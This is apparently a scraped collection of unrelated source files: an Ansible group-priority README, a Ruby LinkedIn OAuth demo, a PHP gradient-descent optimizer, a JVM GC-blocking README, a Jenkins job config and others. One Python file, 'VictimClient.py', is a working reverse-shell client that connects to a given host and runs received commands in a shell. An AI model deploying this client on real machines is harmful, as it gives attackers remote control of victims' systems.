text:
This replicates some things said here:

https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#how-variables-are-merged

(cd into this folder before running things)

#### Basic Demo of Group Priority

```
ansible-inventory -i from_docs.yml --list --export
```

The inventory was modified to add a host "foohost" so we can see the precedence rules.
In order to actualize the variables on the host, you need to not use the `--export` flag.

```
ansible-inventory -i from_docs.yml --list
```

This shows `"testvar": "a"` in "foohost", demonstrating the intent of the example.

> In this example, if both groups have the same priority,
> the result would normally have been `testvar == b`,
> but since we are giving the `a_group` a higher priority the result will be `testvar == a`.

In this case, the `ansible_group_priority` variable comes from the "inventory source".

#### Inapplicability to group_vars

This repo hosts another example where the variable comes from the group_vars folder.
That lives in the `folder/` subfolder here.
Compared to the other example of `from_docs.yml`, it removes `ansible_group_priority`
from the `a_group` definition in `folder/modified.yml` add adds a file
in `folder/group_vars/a_group.yml` which sets the same `ansible_group_priority: 10`
variable on the same host.

```
ansible-inventory -i folder/modified.yml --list --export
```

Now get the resultant value, expecting that `ansible_group_priority` is ignored
according to the docs.

> `ansible_group_priority` can only be set in the inventory source and not in group_vars/,
> as the variable is used in the loading of group_vars.

```
ansible-inventory -i folder/modified.yml --list
```

As expected, we find `"testvar": "b"`, a reversion of the higher precedence.

#### Persistence Through Dumping-Loading Cycle

Firstly, this walks through the dumping-loading cycle for the group_vars example.
Dump the inventory:

```
ansible-inventory -i folder/modified.yml --list --export --output=folder/output.json
```

We can re-load the data dumped by a prior ansible-inventory command.
You can test this independent of the Ansible context by:

```
./folder/re_dump.py
```

This script does nothing more than print the output file to standard out.
This is necessary in order to get used as an Ansible script inventory,
which is the only format where the JSON data structure is recognized as an _input_.

Now, load this script inventory.

```
ansible-inventory -i folder/re_dump.py --list --export
```

And check the resultant value.

```
ansible-inventory -i folder/re_dump.py --list
```

This shows `"testvar": "a"`, which is different from the prior
section that showed direct use of the group_vars (the `folder/`) example.

In other words, the process of loading and dumping loses the context of
where a variable comes from, and in this case, changing the behavior.

This is expected to be encountered by any use of such an inventory source in AWX.
Create an SCM inventory source from this repo using `folder/modified.yml`
as the source path and then run a job against it.

It should encounter the same behavior (`testvar` being a, not b)
because AWX, itself, implements a dumping-loading cycle with the `--export`
flag as a basic component of its inventory system.

### Depth Sort

Group resolution order is very non-trivial, similar to python MRO complexity.
This method is the best summary of what happens in my research.

```python
def sort_groups(groups):
    return sorted(groups, key=lambda g: (g.depth, g.priority, g.name))
```

This is called in order to give the full group list (parents and ancestors) of a host.
The `depth` here increases with the distance from the root "all" group.

An example is given at `depth_win.yml`.

It is established from the prior example that "b_group" will come at
higher precedence than an "a_group" at the same level due to the alphabetical
ordering, the `g.name` criteria.

The `sorted` method puts the "higher" value last, which can be "b_group" due
to being later in the alphabet, or 2 (as opposed to 1), meaning "further down
the tree" of the group graph.
In other words, this example shows leaf nodes winning over parent nodes.

In this example the "b" variable wins.

An example to show nuance is given at `depth_win2.yml`.
In this case, the parent names are switched, so parentage is A->b an B->a.
The result here isn't surprising, because the parentage doesn't matter.

In this case, too, the "b" variable wins.

Depth is given the highest priority of all, but this is strange.
Often times, the greatest depth group winning isn't the most intuitive.
An example at `depth_win3.yml` is given.
In this case, the parentage is still A->b and B->a, but the b and a vars are removed.
Remember that in the last example, the "b" group wins, but in this example the "B" group wins.
This is surprising because adherence to the "path" isn't maintained.
The parent "B" group is a parent of the lower-precedence "a" group.

In this case, the "B_parent" variable wins.

As the sort suggests, the exact relationships between groups doesn't matter,
aside from the depth metric that it develops on the groups.


text:
{% extends "!layout.html" %}
{%- block extrahead %}

    <link href="https://fonts.googleapis.com/css?family=Lato|Raleway" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?family=Inconsolata" rel="stylesheet">

    <meta name="msapplication-TileColor" content="#ffffff">
    <meta name="msapplication-TileImage" content="{{pathto('_static/ms-icon-144x144.png', 1)}}">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/css/bootstrap.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/datatables/1.10.21/js/jquery.dataTables.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/js/bootstrap.bundle.min.js"></script>

{% endblock %}

redpajama_set_name: RedPajamaGithub


text:
require_relative 'document_job'

module Elasticsearch
  module Model
    module Extensions
      module DelayedJob

        class PartiallyUpdateDocumentJob < DocumentJob
          def initialize(params)
            super(record: params[:record])
            @changes = params[:changes]
          end

          def perform
            try_with_record do |record|
              record.partially_update_document(*@changes)
            end
          end
        end

      end
    end
  end
end


text:
package com.harcyah.photomator.gpio.listeners;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import com.harcyah.photomator.runner.PhotoBoothRunner;
import com.pi4j.io.gpio.PinState;
import com.pi4j.io.gpio.event.GpioPinDigitalStateChangeEvent;
import com.pi4j.io.gpio.event.GpioPinListenerDigital;

public class TriggerButtonListener implements GpioPinListenerDigital {

	private static final Logger logger = LoggerFactory.getLogger(PowerButtonListener.class);

	protected PhotoBoothRunner photoBoothRunner;

	public TriggerButtonListener(PhotoBoothRunner photoBoothRunner) {
		this.photoBoothRunner = photoBoothRunner;
	}

	@Override
	public void handleGpioPinDigitalStateChangeEvent(GpioPinDigitalStateChangeEvent event) {
		logger.info("Button change on " + event.getPin() + " = " + event.getState());
		if (event.getState().equals(PinState.LOW)) {
			photoBoothRunner.run();
		}
	}

}


text:
<?php

declare(strict_types=1);

namespace Phpml\Helper\Optimizer;

use Closure;
use Phpml\Exception\InvalidArgumentException;
use Phpml\Exception\InvalidOperationException;

/**
 * Stochastic Gradient Descent optimization method
 * to find a solution for the equation A.ϴ = y where
 *  A (samples) and y (targets) are known and ϴ is unknown.
 */
class StochasticGD extends Optimizer
{
    /**
     * A (samples)
     *
     * @var array
     */
    protected $samples = [];

    /**
     * y (targets)
     *
     * @var array
     */
    protected $targets = [];

    /**
     * Callback function to get the gradient and cost value
     * for a specific set of theta (ϴ) and a pair of sample & target
     *
     * @var \Closure|null
     */
    protected $gradientCb;

    /**
     * Maximum number of iterations used to train the model
     *
     * @var int
     */
    protected $maxIterations = 1000;

    /**
     * Learning rate is used to control the speed of the optimization.

     *
     * Larger values of lr may overshoot the optimum or even cause divergence
     * while small values slows down the convergence and increases the time
     * required for the training
     *
     * @var float
     */
    protected $learningRate = 0.001;

    /**
     * Minimum amount of change in the weights and error values
     * between iterations that needs to be obtained to continue the training
     *
     * @var float
     */
    protected $threshold = 1e-4;

    /**
     * Enable/Disable early stopping by checking the weight & cost values
     * to see whether they changed large enough to continue the optimization
     *
     * @var bool
     */
    protected $enableEarlyStop = true;

    /**
     * List of values obtained by evaluating the cost function at each iteration
     * of the algorithm
     *
     * @var array
     */
    protected $costValues = [];

    /**
     * Initializes the SGD optimizer for the given number of dimensions
     */
    public function __construct(int $dimensions)
    {
        // Add one more dimension for the bias
        parent::__construct($dimensions + 1);

        $this->dimensions = $dimensions;
    }

    public function setTheta(array $theta): Optimizer
    {
        if (count($theta) !== $this->dimensions + 1) {
            throw new InvalidArgumentException(sprintf('Number of values in the weights array should be %s', $this->dimensions + 1));
        }

        $this->theta = $theta;

        return $this;
    }

    /**
     * Sets minimum value for the change in the theta values
     * between iterations to continue the iterations.

     *
     * If change in the theta is less than given value then the
     * algorithm will stop training
     *
     * @return $this
     */
    public function setChangeThreshold(float $threshold = 1e-5)
    {
        $this->threshold = $threshold;

        return $this;
    }

    /**
     * Enable/Disable early stopping by checking at each iteration
     * whether changes in theta or cost value are not large enough
     *
     * @return $this
     */
    public function setEarlyStop(bool $enable = true)
    {
        $this->enableEarlyStop = $enable;

        return $this;
    }

    /**
     * @return $this
     */
    public function setLearningRate(float $learningRate)
    {
        $this->learningRate = $learningRate;

        return $this;
    }

    /**
     * @return $this
     */
    public function setMaxIterations(int $maxIterations)
    {
        $this->maxIterations = $maxIterations;

        return $this;
    }

    /**
     * Optimization procedure finds the unknow variables for the equation A.ϴ = y
     * for the given samples (A) and targets (y).

     *
     * The cost function to minimize and the gradient of the function are to be
     * handled by the callback function provided as the third parameter of the method.
     */
    public function runOptimization(array $samples, array $targets, Closure $gradientCb): array
    {
        $this->samples = $samples;
        $this->targets = $targets;
        $this->gradientCb = $gradientCb;

        $currIter = 0;
        $bestTheta = null;
        $bestScore = 0.0;
        $this->costValues = [];

        while ($this->maxIterations > $currIter++) {
            $theta = $this->theta;

            // Update the guess
            $cost = $this->updateTheta();

            // Save the best theta in the "pocket" so that
            // any future set of theta worse than this will be disregarded
            if ($bestTheta === null || $cost <= $bestScore) {
                $bestTheta = $theta;
                $bestScore = $cost;
            }

            // Add the cost value for this iteration to the list
            $this->costValues[] = $cost;

            // Check for early stop
            if ($this->enableEarlyStop && $this->earlyStop($theta)) {
                break;
            }
        }

        $this->clear();

        // Solution in the pocket is better than or equal to the last state
        // so, we use this solution
        return $this->theta = (array) $bestTheta;
    }

    /**
     * Returns the list of cost values for each iteration executed in
     * last run of the optimization
     */
    public function getCostValues(): array
    {
        return $this->costValues;
    }

    protected function updateTheta(): float
    {
        $jValue = 0.0;
        $theta = $this->theta;

        if ($this->gradientCb === null) {
            throw new InvalidOperationException('Gradient callback is not defined');
        }

        foreach ($this->samples as $index => $sample) {
            $target = $this->targets[$index];

            $result = ($this->gradientCb)($theta, $sample, $target);

            [$error, $gradient, $penalty] = array_pad($result, 3, 0);

            // Update bias
            $this->theta[0] -= $this->learningRate * $gradient;

            // Update other values
            for ($i = 1; $i <= $this->dimensions; ++$i) {
                $this->theta[$i] -= $this->learningRate *
                    ($gradient * $sample[$i - 1] + $penalty * $this->theta[$i]);
            }

            // Sum error rate
            $jValue += $error;
        }

        return $jValue / count($this->samples);
    }

    /**
     * Checks if the optimization is not effective enough and can be stopped
     * in case large enough changes in the solution do not happen
     */
    protected function earlyStop(array $oldTheta): bool
    {
        // Check for early stop: No change larger than threshold (default 1e-5)
        $diff = array_map(
            function ($w1, $w2) {
                return abs($w1 - $w2) > $this->threshold ? 1 : 0;
            },
            $oldTheta,
            $this->theta
        );

        if (array_sum($diff) == 0) {
            return true;
        }

        // Check if the last two cost values are almost the same
        $costs = array_slice($this->costValues, -2);
        if (count($costs) === 2 && abs($costs[1] - $costs[0]) < $this->threshold) {
            return true;
        }

        return false;
    }

    /**
     * Clears the optimizer internal vars after the optimization process.
     */
    protected function clear(): void
    {
        $this->samples = [];
        $this->targets = [];
        $this->gradientCb = null;
    }
}


text:
@implementation SRBooleanField

@end


text:
import subprocess
import socket
import argparse

def usage():
  print
  print "Examples:"
  print "python VictimClient.py -a localhost -p 5555"
  exit(0)

def execute_command(cmd):
  cmd = cmd.rstrip()

  try:
    # to execute cmd local, capture stout and use default shell
    results = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
  except Exception, e:
    results = "Could not execute the command: " + cmd

  return results

def receive_data(client):
  try:
    while True:
      received_cmd = ""
      received_cmd += client.recv(4096)

      if not received_cmd:
        continue

      cmd_results = execute_command(received_cmd)

      client.send(cmd_results)
  except Exception, e:
    print str(e)
    pass

def client_connect(host,port):
  client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  try:
    client.connect((host,port))
    print "Connected with the server " + host + " at port number " + str(port)
    receive_data(client)
  except Exception, e:
    print str(e)
    client.close()

def main():
  parser = argparse.ArgumentParser('Victin client commander')
  parser.add_argument("-a","--address", type=str, help="The Server IP address")
  parser.add_argument("-p","--port", type=int, help="The port to cennect with", default=5555)

  args = parser.parse_args()

  if args.address == None:
    usage()

  target_host = args.address
  port_number = args.port

  client_connect(target_host, port_number)

if __name__ == '__main__':
  main()


text:
package org.acme;

import io.quarkus.mongodb.panache.PanacheQuery;
import io.quarkus.panache.common.Page;
import org.bson.types.ObjectId;

import javax.inject.Inject;

import javax.transaction.Transactional;
import javax.ws.rs.*;
import javax.ws.rs.core.Response;
import java.util.List;

@Path("/customer")
@Produces("application/json")
@Consumes("application/json")
public class CustomerEndpoint {

    @GET
    public List<Customer> list() {
        return Customer.listAll();
    }

    // Get first page of 20 entries
    @Path("/page1")
    @GET
    public List<Customer> pageList() {
        PanacheQuery<Customer> customers = Customer.find("name","John");
        customers.page(Page.ofSize(20));
        return customers.list();
    }

    @POST
    public Response create(Customer customer) {
        customer.persist();
        return Response.status(201).build();
    }

    @PUT
    public void update(Customer customer) {
        customer.update();
    }

    @DELETE
    public void delete(Customer c) {
        Customer customer = Customer.findById(c.id);
        customer.delete();
    }
}


text:
TL;DR: Using this code can easily cause the JVM to stop running! Don't use this unless you really know what you are doing!

This class contains methods that are experimental and will often in many cases cause the JVM to freeze and or crash and or cause other unexpected things.

This is Java code that will disable (or at least prevent) the Garbage Collector in Java from running! It does so by locking an object that the GC needs to be able to perform the GC.

This obviously has some bad side effects. But if you know what you are doing, how much memory you have and what your Java program will need in the future, this might be a useful program for you.
Obviously by preventing the GC from running memory will never get released and much [free] memory won't even be able to be used! So make sure you know what you are doing before using this.

This is probably NOT safe for production code, but can be used to play around with and experiment with.
You can for instance use it to prevent the GC from running during critical sections (sections you need to run quickly without any interruptions from the GC) giving you a more exact run time.
You should make sure to enable the GC again before too much happens and the JVM stops running!

This code will probably run on most platforms (Windows, Linux etc.) with OpenJDK and Oracle's JDK versions 8 & 9. However since this program is based on a specific object that the JVM needs to run the GC it might not work on all implementations since they might implement the GC differently or in future version which might change this. This code would probably even run on OpenJDK or Oracle's JDK versions 5-7 if you get rid of the use of Functional Interfaces.

Using this program can easily cause a JVM to crash - or at least stop running!

Note: New objects are allocated to the Eden part of the heap, so even if you set your heap to be 8 gigabytes you can only use the Eden part which is by default considerbly smaller

Examples:

java -Xms8g -Xmx8g example.tmr.utils.UtilsExamples 1

-JVM Status-

        Total Memory: 7851 MB

        Used Memory: 81 MB

        Free Memory: 7769 MB

        Max Memory: 7851 MB

1)      -----

No GC took 715 milliseconds

No GC took 384 milliseconds

With GC took 364 milliseconds

With GC took 3849 milliseconds

2)      -----

No GC took 434 milliseconds

No GC took 362 milliseconds

With GC took 369 milliseconds

With GC took 3751 milliseconds

3)      -----

No GC took 477 milliseconds

No GC took 415 milliseconds

With GC took 372 milliseconds

With GC took 3679 milliseconds

4)      -----

No GC took 369 milliseconds

No GC took 375 milliseconds

With GC took 381 milliseconds

With GC took 3624 milliseconds

5)      -----

No GC took 391 milliseconds

No GC took 363 milliseconds

With GC took 387 milliseconds

With GC took 3593 milliseconds

-JVM Status-

        Total Memory: 7851 MB

        Used Memory: 1294 MB

        Free Memory: 6556 MB

        Max Memory: 7851 MB

java -Xms8g -Xmx8g example.tmr.utils.UtilsExamples 2

Before Memory Allocation -JVM Status-

        Total Memory: 7851 MB

        Used Memory: 81 MB

        Free Memory: 7769 MB

        Max Memory: 7851 MB

After Memory Allocation -JVM Status-

        Total Memory: 7851 MB

        Used Memory: 37 MB

        Free Memory: 7813 MB

        Max Memory: 7851 MB

1)      -----

No GC took 554 milliseconds

No GC took 394 milliseconds

With GC took 467 milliseconds

With GC took 3840 milliseconds

2)      -----

No GC took 502 milliseconds

No GC took 497 milliseconds

With GC took 374 milliseconds

With GC took 1803 milliseconds

3)      -----

No GC took 422 milliseconds

No GC took 489 milliseconds

With GC took 380 milliseconds

With GC took 2402 milliseconds

4)      -----

No GC took 410 milliseconds

No GC took 394 milliseconds

With GC took 377 milliseconds

With GC took 2161 milliseconds

5)      -----

No GC took 399 milliseconds

No GC took 366 milliseconds

With GC took 374 milliseconds

With GC took 2568 milliseconds

-JVM Status-

        Total Memory: 7703 MB

        Used Memory: 1305 MB

        Free Memory: 6397 MB

        Max Memory: 7703 MB

java -Xms8g -Xmx8g example.tmr.utils.UtilsExamples 3

-JVM Status-

        Total Memory: 7851 MB

        Used Memory: 81 MB

        Free Memory: 7769 MB

        Max Memory: 7851 MB

-JVM Status-

        Total Memory: 7851 MB

        Used Memory: 1088 MB

        Free Memory: 6762 MB

        Max Memory: 7851 MB

Roughly were 985 megabytes are used

-JVM Status-

        Total Memory: 7851 MB

        Used Memory: 39 MB

        Free Memory: 7811 MB

        Max Memory: 7851 MB


text:
digestControllers.controller('SaveDigestCtrl', ['$scope', '$http', function ($scope, $http) {
    var digest = {};
    $scope.toggle = true;
    $scope.hideDigestJsonValidation = true;

    $scope.isCollapsed = false;
    digest.title = "BackEnd Digest #";
    $scope.digest = digest;

    $scope.digests = [];

    $scope.createDigest = function () {
        var digest = {};
        digest.title = $scope.digest.title;

        $scope.digests.push(digest);

        $scope.newDigestForm.$setPristine();
        $scope.newDigestForm.$setUntouched();
    };

    $scope.saveJsonDigest = function () {
        var digest = {};
        digest.title = $scope.digest.title;

        if (!isJsonValid($scope.jsonDigest)) {
            var message = 'Invalide Digest JSON';
            $scope.hideDigestJsonValidation = false;
            return;
        }

        $scope.hideDigestJsonValidation = true;

        $http({
            method: 'POST',
            url: '/api/v1/digests',
            headers: {
                'Content-Type': "application/json"
            },
            data: $scope.jsonDigest
        }).then(function successCallback(response) {
            $scope.jsonDigest = null;
            console.log(response);
        }, function errorCallback(response) {
            console.log(response);
        });

        $scope.digests.push(digest);

        $scope.saveJsonForm.$setPristine();
        $scope.saveJsonForm.$setUntouched();
    };

    function isJsonValid(digestJson) {
        try {
            JSON.parse(digestJson)
        } catch (e) {
            return false;
        }
        return true;
    }
}]);


text:
build_dir?=./build
PACKAGE_DIR?=$(shell pwd)/../..
YQ=docker run --rm -v "$(PACKAGE_DIR)/":/workdir mikefarah/yq:4
NAME=$(shell $(YQ) e '.data.name' kptconfig/kpt-setter-config.yaml)
# The kubectl context for your Kubeflow cluster
KFCTXT=$(NAME)

.PHONY: hydrate
hydrate:
	# Hydrate Common cert-manager
	rm -rf $(build_dir) && mkdir -p $(build_dir)
	mkdir -p $(build_dir)/cert-manager
	mkdir -p $(build_dir)/kubeflow-issuer
	kustomize build -o $(build_dir)/cert-manager ./
	kustomize build -o $(build_dir)/kubeflow-issuer ./cert-manager-1-5/cert-manager/kubeflow-issuer

.PHONY: apply
apply: hydrate
	# Apply Common cert-manager
# Try kpt live apply to simplify this steps.
	kubectl --context=$(KFCTXT) apply -f $(build_dir)/cert-manager/*v1_namespace_cert-manager.yaml
	kubectl --context=$(KFCTXT) apply -f $(build_dir)/cert-manager
	kubectl --context=$(KFCTXT) -n cert-manager wait --for=condition=Available --timeout=600s deploy cert-manager-webhook
	kubectl --context=$(KFCTXT) -n cert-manager wait --for=condition=Available --timeout=600s deploy cert-manager
	kubectl --context=$(KFCTXT) -n cert-manager wait --for=condition=Available --timeout=600s deploy cert-manager-cainjector

	# Common kubeflow-issuer
	kubectl --context=$(KFCTXT) apply -f $(build_dir)/kubeflow-issuer


text:
package com.insightfullogic.lambdabehave;

import com.insightfullogic.lambdabehave.generators.SourceGenerator;
import com.insightfullogic.lambdabehave.impl.Specifier;
import com.insightfullogic.lambdabehave.impl.generators.NumberGenerators;
import com.insightfullogic.lambdabehave.impl.reports.Specifiers;

/**
 * <p>
 * Callback interface to allow you to describe a suite of
 * behaviours about some concept,
 * </p>
 *
 * @see com.insightfullogic.lambdabehave.Description
 */
@FunctionalInterface
public interface Suite {

    /**
     * Describe a suite of behaviours.
     *
     * @param name the name of the concept you're specifying.
     * @param behaviours the suite of behaviours you're specifying.
     */
    public static void describe(final String name, final Suite behaviours) {
        Specifiers.describe(name, behaviours);
    }

    /**
     * The callback used to specify a suite of behaviours should
     * implement this method of the interface.
     *
     * @see com.insightfullogic.lambdabehave.Description
     *
     * @param it the description object used to declare individual
     *           specifications as part of this suite.
     */
    public void specifySuite(Description it);

}


text:
#import <AppKit/AppKit.h>

#import "RCTDefines.h"
#import "RCTImageLoader.h"

/**
 * This function takes an input content size (typically from an image), a target
 * size and scale that it will be drawn at (typically in a CGContext) and then
 * calculates the rectangle to draw the image into so that it will be sized and
 * positioned correctly if drawn using the specified content mode.
 */
RCT_EXTERN CGRect RCTTargetRect(CGSize sourceSize, CGSize destSize,
                                CGFloat destScale, UIViewContentMode resizeMode);

/**
 * This function takes an input content size & scale (typically from an image),
 * a target size & scale at which it will be displayed (typically in a
 * UIImageView) and then calculates the optimal size at which to redraw the
 * image so that it will be displayed correctly with the specified content mode.
 */
RCT_EXTERN CGSize RCTTargetSize(CGSize sourceSize, CGFloat sourceScale,
                                CGSize destSize, CGFloat destScale,
                                UIViewContentMode resizeMode,
                                BOOL allowUpscaling);

/**
 * This function takes an input content size & scale (typically from an image),
 * a target size & scale that it will be displayed at, and determines if the
 * source will need to be upscaled to fit (which may result in pixelization).
 */
RCT_EXTERN BOOL RCTUpscalingRequired(CGSize sourceSize, CGFloat sourceScale,
                                     CGSize destSize, CGFloat destScale,
                                     UIViewContentMode resizeMode);


text:
class Ringtones < Cask
  version :latest
  sha256 :no_check

  url 'http://files.thelittleappfactory.com/ringtones/Ringtones.zip'
  appcast 'https://files.thelittleappfactory.com/ringtones/appcast.xml'
  homepage 'http://thelittleappfactory.com/ringtones/'
  license :unknown

  app 'Ringtones.app'
end


text:
package org.activiti.karaf.web.explorer;

import java.util.logging.Level;
import java.util.logging.Logger;

import org.activiti.engine.ProcessEngine;
import org.activiti.engine.impl.ProcessEngineImpl;
import org.activiti.engine.impl.cfg.ProcessEngineConfigurationImpl;
import org.activiti.explorer.demo.DemoDataGenerator;
import org.activiti.explorer.form.UserFormType;
import org.activiti.karaf.support.BpmnContext;

/**
 *
 * @author Srinivasan Chikkala
 *
 */
public class MyExplorerConfig {
	private static final Logger LOG = Logger.getLogger(MyExplorerConfig.class.getName());
	private BpmnContext bpmnContext;
	private UserFormType userFormType;
	private boolean demoOn = true;

	public BpmnContext getBpmnContext() {
		return bpmnContext;
	}

	public void setBpmnContext(BpmnContext bpmnContext) {
		this.bpmnContext = bpmnContext;
	}

	public UserFormType getUserFormType() {
		return userFormType;
	}

	public void setUserFormType(UserFormType userFormType) {
		this.userFormType = userFormType;
	}

	public boolean isDemoOn() {
		return demoOn;
	}

	public void setDemoOn(boolean demoOn) {
		this.demoOn = demoOn;
	}

	public void init() {

		try {
			// set user form
			this.bpmnContext.getProcessEngineConfig().addFormType(this.userFormType);
			// init demo deployment here.
			if (this.isDemoOn()) {
				MyDemoDataGenerator demo = new MyDemoDataGenerator();
				ProcessEngine pe = this.bpmnContext.getProcessEngine();
				demo.setProcessEngine(pe);
				demo.setIdentityService(pe.getIdentityService());
				demo.initDemo();
			}
		} catch (Exception ex) {
			LOG.log(Level.INFO, "Error initializing explorer demo data ", ex);
		}
	}

}


text:
require "rubygems"
require "haml"
require "sinatra"
require "linkedin"

enable :sessions

helpers do
  def login?
    !session[:atoken].nil?
  end

  def profile
    linkedin_client.profile unless session[:atoken].nil?
  end

  def connections
    linkedin_client.connections unless session[:atoken].nil?
  end

  private
  def linkedin_client
    client = LinkedIn::Client.new(settings.api, settings.secret)
    client.authorize_from_access(session[:atoken], session[:asecret])
    client
  end

end

configure do
  # get your api keys at https://www.linkedin.com/secure/developer
  set :api, "your_api_key"
  set :secret, "your_secret"
end

get "/" do
  haml :index
end

get "/auth" do
  client = LinkedIn::Client.new(settings.api, settings.secret)
  request_token = client.request_token(:oauth_callback => "http://#{request.host}:#{request.port}/auth/callback")
  session[:rtoken] = request_token.token
  session[:rsecret] = request_token.secret

  redirect client.request_token.authorize_url
end

get "/auth/logout" do
   session[:atoken] = nil
   redirect "/"
end

get "/auth/callback" do
  client = LinkedIn::Client.new(settings.api, settings.secret)
  if session[:atoken].nil?
    pin = params[:oauth_verifier]
    atoken, asecret = client.authorize_from_request(session[:rtoken], session[:rsecret], pin)
    session[:atoken] = atoken
    session[:asecret] = asecret
  end
  redirect "/"
end

__END__
@@index
-if login?
  %p Welcome #{profile.first_name}!
  %a{:href => "/auth/logout"} Logout
  %p= profile.headline
  %br
  %div= "You have #{connections.total} connections!"
  -connections.all.each do |c|
    %div= "#{c.first_name} #{c.last_name} - #{c.headline}"
-else
  %a{:href => "/auth"} Login using LinkedIn


text:
type typeAlias1 = typeof varOfAliasedType1;
var varOfAliasedType1: typeAlias1;

var varOfAliasedType2: typeAlias2;
type typeAlias2 = typeof varOfAliasedType2;

function func(): typeAlias3 { return null; }
var varOfAliasedType3 = func();
type typeAlias3 = typeof varOfAliasedType3;

// Repro from #26104

interface Input {
  a: number;
  b: number;
}

type R = ReturnType<typeof mul>;
function mul(input: Input): R {
  return input.a * input.b;
}

// Repro from #26104

type R2 = ReturnType<typeof f>;
function f(): R2 { return 0; }

//// [circularTypeofWithVarOrFunc.js]
var varOfAliasedType1;
var varOfAliasedType2;
function func() { return null; }
var varOfAliasedType3 = func();
function mul(input) {
    return input.a * input.b;
}
function f() { return 0; }


text:
test 'Navigation is available to the zombie page' do

	###
	zombie = Factory(:zombie)
	tweet = Factory(:tweet, zombie: zombie) # if zombie is not passed, tweet factory would create new zombie
	###
	# => OR
	###
	tweet = Factory(:tweet)
	zombie = tweet.zombie

	visit root_url
	withit("tweet_#{tweet.id}") do
		click_link zombie.name
		assert_equal zombie_path(zombie), current_path
	end
end


text:
using JetBrains.Annotations;

namespace ITGlobal.MarkDocs.Source
{
    /// <summary>
    ///     A physical file asset
    /// </summary>
    [PublicAPI]
    public sealed class PhysicalFileAsset : FileAsset
    {
        /// <summary>
        ///     .ctor
        /// </summary>
        public PhysicalFileAsset(
            string id,
            string relativePath,
            string absolutePath,
            string contentHash,
            string contentType)
            : base(id, contentHash, contentType)
        {
            RelativePath = relativePath;
            AbsolutePath = absolutePath;
        }

        /// <summary>
        ///     File path (relative to source tree root)
        /// </summary>
        [NotNull]
        public string RelativePath { get; }

        /// <summary>
        ///     File absolute path
        /// </summary>
        [NotNull]
        public string AbsolutePath { get; }

        /// <inheritdoc />
        public override ResourceType Type => ResourceType.File;
    }
}


text:
<?xml version='1.0' encoding='UTF-8'?>
<project>
  <actions/>
  <description>This job is used to manually pass parameters from zato-build-packages (which is run at remote server) to other jobs responsible for signing and publishing Zato packages. The parameters from zato-build-packages are send in an email.

After passing parameters, Jenkins checks whether a single package or multiple packages have been built, and launches relevant subsequent jobs.

</description>
  <keepDependencies>false</keepDependencies>
  <properties>
    <hudson.model.ParametersDefinitionProperty>
      <parameterDefinitions>
        <hudson.model.StringParameterDefinition>
          <name>RELEASE_VERSION</name>
          <description>Specify a Zato release version the package will be build for.</description>
          <defaultValue></defaultValue>
        </hudson.model.StringParameterDefinition>
        <hudson.model.StringParameterDefinition>
          <name>PACKAGE_NUMBER</name>
          <description>Specify package number within Zato release version defined as previous parameter.</description>
          <defaultValue></defaultValue>
        </hudson.model.StringParameterDefinition>
        <hudson.model.StringParameterDefinition>
          <name>BRANCH</name>
          <description>Git branch to pull Zato sources from.</description>
          <defaultValue></defaultValue>
        </hudson.model.StringParameterDefinition>
        <hudson.model.StringParameterDefinition>
          <name>CLIENT_PATH</name>
          <description>OPTIONAL! Enter only if you want specifically to build a package for a client. Pattern: /<[0-9][a-f]>-<client_name>. Remember about opening slash. Use six characters in first part of the pattern.</description>
          <defaultValue></defaultValue>
        </hudson.model.StringParameterDefinition>
        <hudson.model.ChoiceParameterDefinition>
          <name>DISTRIBUTION</name>
          <description>Choose a Linux distribution to build a package for. Alternatively, you can choose "all" to build packages for all distributions in a single operation.</description>
          <choices class="java.util.Arrays$ArrayList">

              <string>all</string>
              <string>debian-7-32</string>
              <string>debian-7-64</string>
              <string>redhat-6-32</string>
              <string>redhat-6-64</string>
              <string>redhat-7-64</string>
              <string>ubuntu-12.04-32</string>
              <string>ubuntu-12.04-64</string>
              <string>ubuntu-14.04-32</string>
              <string>ubuntu-14.04.64</string>

          </choices>
        </hudson.model.ChoiceParameterDefinition>
        <hudson.model.ChoiceParameterDefinition>
          <name>REPOSITORY</name>
          <description>Choose repository for build packages. </description>
          <choices class="java.util.Arrays$ArrayList">

              <string>dev</string>
              <string>stable</string>
              <string>u</string>

          </choices>
        </hudson.model.ChoiceParameterDefinition>
      </parameterDefinitions>
    </hudson.model.ParametersDefinitionProperty>
  </properties>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <org.jenkinsci.plugins.conditionalbuildstep.singlestep.SingleConditionalBuilder plugin="conditional-buildstep@1.3.3">
      <condition class="org.jenkins_ci.plugins.run_condition.logic.Not" plugin="run-condition@1.0">
        <condition class="org.jenkins_ci.plugins.run_condition.core.StringsMatchCondition">
          <arg1>${ENV,var="DISTRIBUTION"}</arg1>
          <arg2>all</arg2>
          <ignoreCase>false</ignoreCase>
        </condition>
      </condition>
      <buildStep class="hudson.plugins.parameterizedtrigger.TriggerBuilder" plugin="parameterized-trigger@2.25">
        <configs>
          <hudson.plugins.parameterizedtrigger.BlockableBuildTriggerConfig>
            <configs>
              <hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
                <properties>RELEASE_VERSION=${RELEASE_VERSION}
PACKAGE_NUMBER=${PACKAGE_NUMBER}
BRANCH=${BRANCH}
DISTRIBUTION=${DISTRIBUTION}
CLIENT_PATH=${CLIENT_PATH}
REPOSITORY=${REPOSITORY}</properties>
              </hudson.plugins.parameterizedtrigger.PredefinedBuildParameters>
            </configs>
            <projects>zato-conditional-trigger</projects>
            <condition>ALWAYS</condition>
            <triggerWithNoParameters>false</triggerWithNoParameters>
